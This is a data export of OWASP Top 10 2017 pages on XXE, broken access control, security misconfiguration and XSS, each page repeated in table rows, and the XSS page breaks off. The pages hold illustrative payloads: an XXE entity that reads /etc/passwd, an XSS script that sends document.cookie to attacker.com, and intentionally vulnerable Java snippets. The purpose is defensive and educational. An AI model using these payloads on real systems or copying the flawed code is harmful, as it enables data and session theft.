* [OWASP Security Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project); [Cheat Sheet: HSTS](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet)
* [OWASP Testing Guide: Testing for weak cryptography](https://www.owasp.org/index.php/Testing_for_weak_Cryptography)
### External
* [CWE-220: Exposure of sens. information through data queries](https://cwe.mitre.org/data/definitions/220.html)
* [CWE-310: Cryptographic Issues](https://cwe.mitre.org/data/definitions/310.html); [CWE-311: Missing Encryption](https://cwe.mitre.org/data/definitions/311.html)
* [CWE-312: Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)
* [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)
* [CWE-326: Weak Encryption](https://cwe.mitre.org/data/definitions/326.html); [CWE-327: Broken/Risky Crypto](https://cwe.mitre.org/data/definitions/327.html)
* [CWE-359: Exposure of Private Information - Privacy Violation](https://cwe.mitre.org/data/definitions/359.html)
|
0xa4-xxe.md | ./Top10/2017/en/0xa4-xxe.md | # A4:2017 XML External Entities (XXE)
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 2 : Detectability 3 | Technical 3 : Business |
| Attackers can exploit vulnerable XML processors if they can upload XML or include hostile content in an XML document, exploiting vulnerable code, dependencies or integrations. | By default, many older XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. [SAST](https://www.owasp.org/index.php/Source_Code_Analysis_Tools) tools can discover this issue by inspecting dependencies and configuration. [DAST](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) tools require additional manual steps to detect and exploit this issue. Manual testers need to be trained in how to test for XXE, as it not commonly tested as of 2017. | These flaws can be used to extract data, execute a remote request from the server, scan internal systems, perform a denial-of-service attack, as well as execute other attacks. |
## Is the Application Vulnerable?
Applications and in particular XML-based web services or downstream integrations might be vulnerable to attack if:
* The application accepts XML directly or XML uploads, especially from untrusted sources, or inserts untrusted data into XML documents, which is then parsed by an XML processor.
* Any of the XML processors in the application or SOAP based web services has [document type definitions (DTDs)](https://en.wikipedia.org/wiki/Document_type_definition) enabled. As the exact mechanism for disabling DTD processing varies by processor, it is good practice to consult a reference such as the [OWASP Cheat Sheet 'XXE Prevention'](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet).
* If the application uses SAML for identity processing within federated security or single sign on (SSO) purposes. SAML uses XML for identity assertions, and may be vulnerable.
* If the application uses SOAP prior to version 1.2, it is likely susceptible to XXE attacks if XML entities are being passed to the SOAP framework.
* Being vulnerable to XXE attacks likely means that the application is vulnerable to denial of service attacks including the Billion Laughs attack
## How To Prevent
Developer training is essential to identify and mitigate XXE. Besides that, preventing XXE requires:
* Whenever possible, use less complex data formats such as JSON, and avoiding serialization of sensitive data.
* Patch or upgrade all XML processors and libraries in use by the application or on the underlying operating system. Use dependency checkers. Update SOAP to SOAP 1.2 or higher.
* Disable XML external entity and DTD processing in all XML parsers in the application, as per the [OWASP Cheat Sheet 'XXE Prevention'](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet).
* Implement positive ("whitelisting") server-side input validation, filtering, or sanitization to prevent hostile data within XML documents, headers, or nodes.
* Verify that XML or XSL file upload functionality validates incoming XML using XSD validation or similar.
* SAST tools can help detect XXE in source code, although manual code review is the best alternative in large, complex applications with many integrations.
If these controls are not possible, consider using virtual patching, API security gateways, or Web Application Firewalls (WAFs) to detect, monitor, and block XXE attacks.
## Example Attack Scenarios
Numerous public XXE issues have been discovered, including attacking embedded devices. XXE occurs in a lot of unexpected places, including deeply nested dependencies. The easiest way is to upload a malicious XML file, if accepted:
**Scenario #1**: The attacker attempts to extract data from the server:
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
**Scenario #2**: An attacker probes the server's private network by changing the above ENTITY line to:
```
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
```
**Scenario #3**: An attacker attempts a denial-of-service attack by including a potentially endless file:
```
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
```
## References
### OWASP
* [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Testing Guide: Testing for XML Injection](https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008))
* [OWASP XXE Vulnerability](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
* [OWASP Cheat Sheet: XXE Prevention](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: XML Security](https://www.owasp.org/index.php/XML_Security_Cheat_Sheet)
### External
* [CWE-611: Improper Restriction of XXE](https://cwe.mitre.org/data/definitions/611.html)
* [Billion Laughs Attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)
* [SAML Security XML External Entity Attack](https://secretsofappsecurity.blogspot.tw/2017/01/saml-security-xml-external-entity-attack.html)
* [Detecting and exploiting XXE in SAML Interfaces](https://web-in-security.blogspot.tw/2014/11/detecting-and-exploiting-xxe-in-saml.html)
| 5,511 | 0.00526 | # A4:2017 XML External Entities (XXE)
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 2 : Detectability 3 | Technical 3 : Business |
| Attackers can exploit vulnerable XML processors if they can upload XML or include hostile content in an XML document, exploiting vulnerable code, dependencies or integrations. | By default, many older XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. [SAST](https://www.owasp.org/index.php/Source_Code_Analysis_Tools) tools can discover this issue by inspecting dependencies and configuration. [DAST](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) tools require additional manual steps to detect and exploit this issue. Manual testers need to be trained in how to test for XXE, as it not commonly tested as of 2017. | These flaws can be used to extract data, execute a remote request from the server, scan internal systems, perform a denial-of-service attack, as well as execute other attacks. |
## Is the Application Vulnerable?
Applications and in particular XML-based web services or downstream integrations might be vulnerable to attack if:
* The application accepts XML directly or XML uploads, especially from untrusted sources, or inserts untrusted data into XML documents, which is then parsed by an XML processor.
* Any of the XML processors in the application or SOAP based web services has [document type definitions (DTDs)](https://en.wikipedia.org/wiki/Document_type_definition) enabled. As the exact mechanism for disabling DTD processing varies by processor, it is good practice to consult a reference such as the [OWASP Cheat Sheet 'XXE Prevention'](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet).
* If the application uses SAML for identity processing within federated security or single sign on (SSO) purposes. SAML uses XML for identity assertions, and may be vulnerable.
* If the application uses SOAP prior to version 1.2, it is likely susceptible to XXE attacks if XML entities are being passed to the SOAP framework.
* Being vulnerable to XXE attacks likely means that the application is vulnerable to denial of service attacks including the Billion Laughs attack
## How To Prevent
Developer training is essential to identify and mitigate XXE. Besides that, preventing XXE requires:
* Whenever possible, use less complex data formats such as JSON, and avoiding serialization of sensitive data.
* Patch or upgrade all XML processors and libraries in use by the application or on the underlying operating system. Use dependency checkers. Update SOAP to SOAP 1.2 or higher.
* Disable XML external entity and DTD processing in all XML parsers in the application, as per the [OWASP Cheat Sheet 'XXE Prevention'](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet).
* Implement positive ("whitelisting") server-side input validation, filtering, or sanitization to prevent hostile data within XML documents, headers, or nodes.
* Verify that XML or XSL file upload functionality validates incoming XML using XSD validation or similar.
* SAST tools can help detect XXE in source code, although manual code review is the best alternative in large, complex applications with many integrations.
If these controls are not possible, consider using virtual patching, API security gateways, or Web Application Firewalls (WAFs) to detect, monitor, and block XXE attacks.
## Example Attack Scenarios
Numerous public XXE issues have been discovered, including attacking embedded devices. XXE occurs in a lot of unexpected places, including deeply nested dependencies. The easiest way is to upload a malicious XML file, if accepted:
**Scenario #1**: The attacker attempts to extract data from the server:
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
**Scenario #2**: An attacker probes the server's private network by changing the above ENTITY line to:
```
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
```
**Scenario #3**: An attacker attempts a denial-of-service attack by including a potentially endless file:
```
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
```
## References
### OWASP
* [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Testing Guide: Testing for XML Injection](https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008))
* [OWASP XXE Vulnerability](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
* [OWASP Cheat Sheet: XXE Prevention](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: XML Security](https://www.owasp.org/index.php/XML_Security_Cheat_Sheet)
### External
* [CWE-611: Improper Restriction of XXE](https://cwe.mitre.org/data/definitions/611.html)
* [Billion Laughs Attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)
* [SAML Security XML External Entity Attack](https://secretsofappsecurity.blogspot.tw/2017/01/saml-security-xml-external-entity-attack.html)
* [Detecting and exploiting XXE in SAML Interfaces](https://web-in-security.blogspot.tw/2014/11/detecting-and-exploiting-xxe-in-saml.html)
|
0xa5-broken-access-control.md | ./Top10/2017/en/0xa5-broken-access-control.md | # A5:2017 Broken Access Control
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 2 : Detectability 2 | Technical 3 : Business |
| Exploitation of access control is a core skill of attackers. [SAST](https://www.owasp.org/index.php/Source_Code_Analysis_Tools) and [DAST](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) tools can detect the absence of access control but cannot verify if it is functional when it is present. Access control is detectable using manual means, or possibly through automation for the absence of access controls in certain frameworks. | Access control weaknesses are common due to the lack of automated detection, and lack of effective functional testing by application developers. Access control detection is not typically amenable to automated static or dynamic testing. Manual testing is the best way to detect missing or ineffective access control, including HTTP method (GET vs PUT, etc), controller, direct object references, etc. | The technical impact is attackers acting as users or administrators, or users using privileged functions, or creating, accessing, updating or deleting every record. The business impact depends on the protection needs of the application and data. |
## Is the Application Vulnerable?
Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification or destruction of all data, or performing a business function outside of the limits of the user. Common access control vulnerabilities include:
* Bypassing access control checks by modifying the URL, internal application state, or the HTML page, or simply using a custom API attack tool.
* Allowing the primary key to be changed to another's users record, permitting viewing or editing someone else's account.
* Elevation of privilege. Acting as a user without being logged in, or acting as an admin when logged in as a user.
* Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token or a cookie or hidden field manipulated to elevate privileges, or abusing JWT invalidation
* CORS misconfiguration allows unauthorized API access.
* Force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user. Accessing API with missing access controls for POST, PUT and DELETE.
## How To Prevent
Access control is only effective if enforced in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata.
* With the exception of public resources, deny by default.
* Implement access control mechanisms once and re-use them throughout the application, including minimizing CORS usage.
* Model access controls should enforce record ownership, rather than accepting that the user can create, read, update, or delete any record.
* Unique application business limit requirements should be enforced by domain models.
* Disable web server directory listing and ensure file metadata (e.g. .git) and backup files are not present within web roots.
* Log access control failures, alert admins when appropriate (e.g. repeated failures).
* Rate limit API and controller access to minimize the harm from automated attack tooling.
* JWT tokens should be invalidated on the server after logout.
* Developers and QA staff should include functional access control unit and integration tests.
## Example Attack Scenarios
**Scenario #1**: The application uses unverified data in a SQL call that is accessing account information:
```
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
```
An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user's account.
`http://example.com/app/accountInfo?acct=notmyacct`
**Scenario #2**: An attacker simply force browses to target URLs. Admin rights are required for access to the admin page.
```
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
```
If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw.
## References
### OWASP
* [OWASP Proactive Controls: Access Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#6:_Implement_Access_Controls)
* [OWASP Application Security Verification Standard: V4 Access Control](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Testing Guide: Authorization Testing](https://www.owasp.org/index.php/Testing_for_Authorization)
* [OWASP Cheat Sheet: Access Control](https://www.owasp.org/index.php/Access_Control_Cheat_Sheet)
### External
* [CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)
* [CWE-284: Improper Access Control (Authorization)](https://cwe.mitre.org/data/definitions/284.html)
* [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)
* [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)
* [PortSwigger: Exploiting CORS misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
| 5,477 | 0.005228 | # A5:2017 Broken Access Control
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 2 : Detectability 2 | Technical 3 : Business |
| Exploitation of access control is a core skill of attackers. [SAST](https://www.owasp.org/index.php/Source_Code_Analysis_Tools) and [DAST](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) tools can detect the absence of access control but cannot verify if it is functional when it is present. Access control is detectable using manual means, or possibly through automation for the absence of access controls in certain frameworks. | Access control weaknesses are common due to the lack of automated detection, and lack of effective functional testing by application developers. Access control detection is not typically amenable to automated static or dynamic testing. Manual testing is the best way to detect missing or ineffective access control, including HTTP method (GET vs PUT, etc), controller, direct object references, etc. | The technical impact is attackers acting as users or administrators, or users using privileged functions, or creating, accessing, updating or deleting every record. The business impact depends on the protection needs of the application and data. |
## Is the Application Vulnerable?
Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification or destruction of all data, or performing a business function outside of the limits of the user. Common access control vulnerabilities include:
* Bypassing access control checks by modifying the URL, internal application state, or the HTML page, or simply using a custom API attack tool.
* Allowing the primary key to be changed to another's users record, permitting viewing or editing someone else's account.
* Elevation of privilege. Acting as a user without being logged in, or acting as an admin when logged in as a user.
* Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token or a cookie or hidden field manipulated to elevate privileges, or abusing JWT invalidation
* CORS misconfiguration allows unauthorized API access.
* Force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user. Accessing API with missing access controls for POST, PUT and DELETE.
## How To Prevent
Access control is only effective if enforced in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata.
* With the exception of public resources, deny by default.
* Implement access control mechanisms once and re-use them throughout the application, including minimizing CORS usage.
* Model access controls should enforce record ownership, rather than accepting that the user can create, read, update, or delete any record.
* Unique application business limit requirements should be enforced by domain models.
* Disable web server directory listing and ensure file metadata (e.g. .git) and backup files are not present within web roots.
* Log access control failures, alert admins when appropriate (e.g. repeated failures).
* Rate limit API and controller access to minimize the harm from automated attack tooling.
* JWT tokens should be invalidated on the server after logout.
* Developers and QA staff should include functional access control unit and integration tests.
## Example Attack Scenarios
**Scenario #1**: The application uses unverified data in a SQL call that is accessing account information:
```
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
```
An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user's account.
`http://example.com/app/accountInfo?acct=notmyacct`
**Scenario #2**: An attacker simply force browses to target URLs. Admin rights are required for access to the admin page.
```
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
```
If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw.
## References
### OWASP
* [OWASP Proactive Controls: Access Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#6:_Implement_Access_Controls)
* [OWASP Application Security Verification Standard: V4 Access Control](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Testing Guide: Authorization Testing](https://www.owasp.org/index.php/Testing_for_Authorization)
* [OWASP Cheat Sheet: Access Control](https://www.owasp.org/index.php/Access_Control_Cheat_Sheet)
### External
* [CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)
* [CWE-284: Improper Access Control (Authorization)](https://cwe.mitre.org/data/definitions/284.html)
* [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)
* [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)
* [PortSwigger: Exploiting CORS misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
0xa6-security-misconfiguration.md | ./Top10/2017/en/0xa6-security-misconfiguration.md | # A6:2017 Security Misconfiguration
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 3 | Prevalence 3 : Detectability 3 | Technical 2 : Business |
| Attackers will often attempt to exploit unpatched flaws or access default accounts, unused pages, unprotected files and directories, etc to gain unauthorized access or knowledge of the system. | Security misconfiguration can happen at any level of an application stack, including the network services, platform, web server, application server, database, frameworks, custom code, and pre-installed virtual machines, containers, or storage. Automated scanners are useful for detecting misconfigurations, use of default accounts or configurations, unnecessary services, legacy options, etc. | Such flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise. The business impact depends on the protection needs of the application and data. |
## Is the Application Vulnerable?
The application might be vulnerable if the application is:
* Missing appropriate security hardening across any part of the application stack, or improperly configured permissions on cloud services.
* Unnecessary features are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges).
* Default accounts and their passwords still enabled and unchanged.
* Error handling reveals stack traces or other overly informative error messages to users.
* For upgraded systems, latest security features are disabled or not configured securely.
* The security settings in the application servers, application frameworks (e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values.
* The server does not send security headers or directives or they are not set to secure values.
* The software is out of date or vulnerable (see **A9:2017-Using Components with Known Vulnerabilities**).
Without a concerted, repeatable application security configuration process, systems are at a higher risk.
## How To Prevent
Secure installation processes should be implemented, including:
* A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically, with different credentials used in each environment. This process should be automated to minimize the effort required to setup a new secure environment.
* A minimal platform without any unnecessary features, components, documentation, and samples. Remove or do not install unused features and frameworks.
* A task to review and update the configurations appropriate to all security notes, updates and patches as part of the patch management process (see **A9:2017-Using Components with Known Vulnerabilities**). In particular, review cloud storage permissions (e.g. S3 bucket permissions).
* A segmented application architecture that provides effective, secure separation between components or tenants, with segmentation, containerization, or cloud security groups (ACLs).
* Sending security directives to clients, e.g. [Security Headers](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project).
* An automated process to verify the effectiveness of the configurations and settings in all environments.
## Example Attack Scenarios
**Scenario #1**: The application server comes with sample applications that are not removed from the production server. These sample applications have known security flaws attackers use to compromise the server. If one of these applications is the admin console, and default accounts weren't changed the attacker logs in with default passwords and takes over.
**Scenario #2**: Directory listing is not disabled on the server. An attacker discovers they can simply list directories. The attacker finds and downloads the compiled Java classes, which they decompile and reverse engineer to view the code. The attacker then finds a serious access control flaw in the application.
**Scenario #3**: The application server's configuration allows detailed error messages, e.g. stack traces, to be returned to users. This potentially exposes sensitive information or underlying flaws such as component versions that are known to be vulnerable.
**Scenario #4**: A cloud service provider has default sharing permissions open to the Internet by other CSP users. This allows sensitive data stored within cloud storage to be accessed.
## References
### OWASP
* [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)
* [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006))
* [OWASP Security Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)
For additional requirements in this area, see the Application Security Verification Standard [V19 Configuration](https://www.owasp.org/index.php/ASVS_V19_Configuration).
### External
* [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)
* [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)
* [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)
* [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)
* [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
* [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)
| 5,688 | 0.005425 | # A6:2017 Security Misconfiguration
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 3 | Prevalence 3 : Detectability 3 | Technical 2 : Business |
| Attackers will often attempt to exploit unpatched flaws or access default accounts, unused pages, unprotected files and directories, etc to gain unauthorized access or knowledge of the system. | Security misconfiguration can happen at any level of an application stack, including the network services, platform, web server, application server, database, frameworks, custom code, and pre-installed virtual machines, containers, or storage. Automated scanners are useful for detecting misconfigurations, use of default accounts or configurations, unnecessary services, legacy options, etc. | Such flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise. The business impact depends on the protection needs of the application and data. |
## Is the Application Vulnerable?
The application might be vulnerable if the application is:
* Missing appropriate security hardening across any part of the application stack, or improperly configured permissions on cloud services.
* Unnecessary features are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges).
* Default accounts and their passwords still enabled and unchanged.
* Error handling reveals stack traces or other overly informative error messages to users.
* For upgraded systems, latest security features are disabled or not configured securely.
* The security settings in the application servers, application frameworks (e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values.
* The server does not send security headers or directives or they are not set to secure values.
* The software is out of date or vulnerable (see **A9:2017-Using Components with Known Vulnerabilities**).
Without a concerted, repeatable application security configuration process, systems are at a higher risk.
## How To Prevent
Secure installation processes should be implemented, including:
* A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically, with different credentials used in each environment. This process should be automated to minimize the effort required to setup a new secure environment.
* A minimal platform without any unnecessary features, components, documentation, and samples. Remove or do not install unused features and frameworks.
* A task to review and update the configurations appropriate to all security notes, updates and patches as part of the patch management process (see **A9:2017-Using Components with Known Vulnerabilities**). In particular, review cloud storage permissions (e.g. S3 bucket permissions).
* A segmented application architecture that provides effective, secure separation between components or tenants, with segmentation, containerization, or cloud security groups (ACLs).
* Sending security directives to clients, e.g. [Security Headers](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project).
* An automated process to verify the effectiveness of the configurations and settings in all environments.
## Example Attack Scenarios
**Scenario #1**: The application server comes with sample applications that are not removed from the production server. These sample applications have known security flaws attackers use to compromise the server. If one of these applications is the admin console, and default accounts weren't changed the attacker logs in with default passwords and takes over.
**Scenario #2**: Directory listing is not disabled on the server. An attacker discovers they can simply list directories. The attacker finds and downloads the compiled Java classes, which they decompile and reverse engineer to view the code. The attacker then finds a serious access control flaw in the application.
**Scenario #3**: The application server's configuration allows detailed error messages, e.g. stack traces, to be returned to users. This potentially exposes sensitive information or underlying flaws such as component versions that are known to be vulnerable.
**Scenario #4**: A cloud service provider has default sharing permissions open to the Internet by other CSP users. This allows sensitive data stored within cloud storage to be accessed.
## References
### OWASP
* [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)
* [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006))
* [OWASP Security Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)
For additional requirements in this area, see the Application Security Verification Standard [V19 Configuration](https://www.owasp.org/index.php/ASVS_V19_Configuration).
### External
* [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)
* [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)
* [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)
* [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)
* [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
* [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)
|
0xa7-xss.md | ./Top10/2017/en/0xa7-xss.md | # A7:2017 Cross-Site Scripting (XSS)
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 3 | Prevalence 3 : Detectability 3 | Technical 2 : Business |
| Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks. | XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications. Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET. | The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim's browser, such as stealing credentials, sessions, or delivering malware to the victim. |
## Is the Application Vulnerable?
There are three forms of XSS, usually targeting users' browsers:
* **Reflected XSS**: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.
* **Stored XSS**: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.
* **DOM XSS**: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.
Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user's browser such as malicious software downloads, key logging, and other client-side attacks.
## How To Prevent
Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:
* Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework's XSS protection and appropriately handle the use cases which are not covered.
* Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The [OWASP Cheat Sheet 'XSS Prevention'](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) has details on the required data escaping techniques.
* Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet 'DOM based XSS Prevention'.
* Enabling a [Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).
## Example Attack Scenario
**Scenario #1**: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
`(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";`
The attacker modifies the ‘CC’ parameter in the browser to:
`'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'`
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
**Note**: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.
## References
### OWASP
* [OWASP Proactive Controls: Encode Data](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016)
* [OWASP Proactive Controls: Validate Data](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016)
* [OWASP Application Security Verification Standard: V5](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)
* [OWASP Testing Guide: Testing for Reflected XSS](https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001))
* [OWASP Testing Guide: Testing for Stored XSS](https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002))
* [OWASP Testing Guide: Testing for DOM XSS](https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001))
* [OWASP Cheat Sheet: XSS Prevention](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: DOM based XSS Prevention](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: XSS Filter Evasion](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
* [OWASP Java Encoder Project](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project)
### External
* [CWE-79: Improper neutralization of user supplied input](https://cwe.mitre.org/data/definitions/79.html)
* [PortSwigger: Client-side template injection](https://portswigger.net/kb/issues/00200308_clientsidetemplateinjection)
| 5,655 | 0.005411 | # A7:2017 Cross-Site Scripting (XSS)
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 3 | Prevalence 3 : Detectability 3 | Technical 2 : Business |
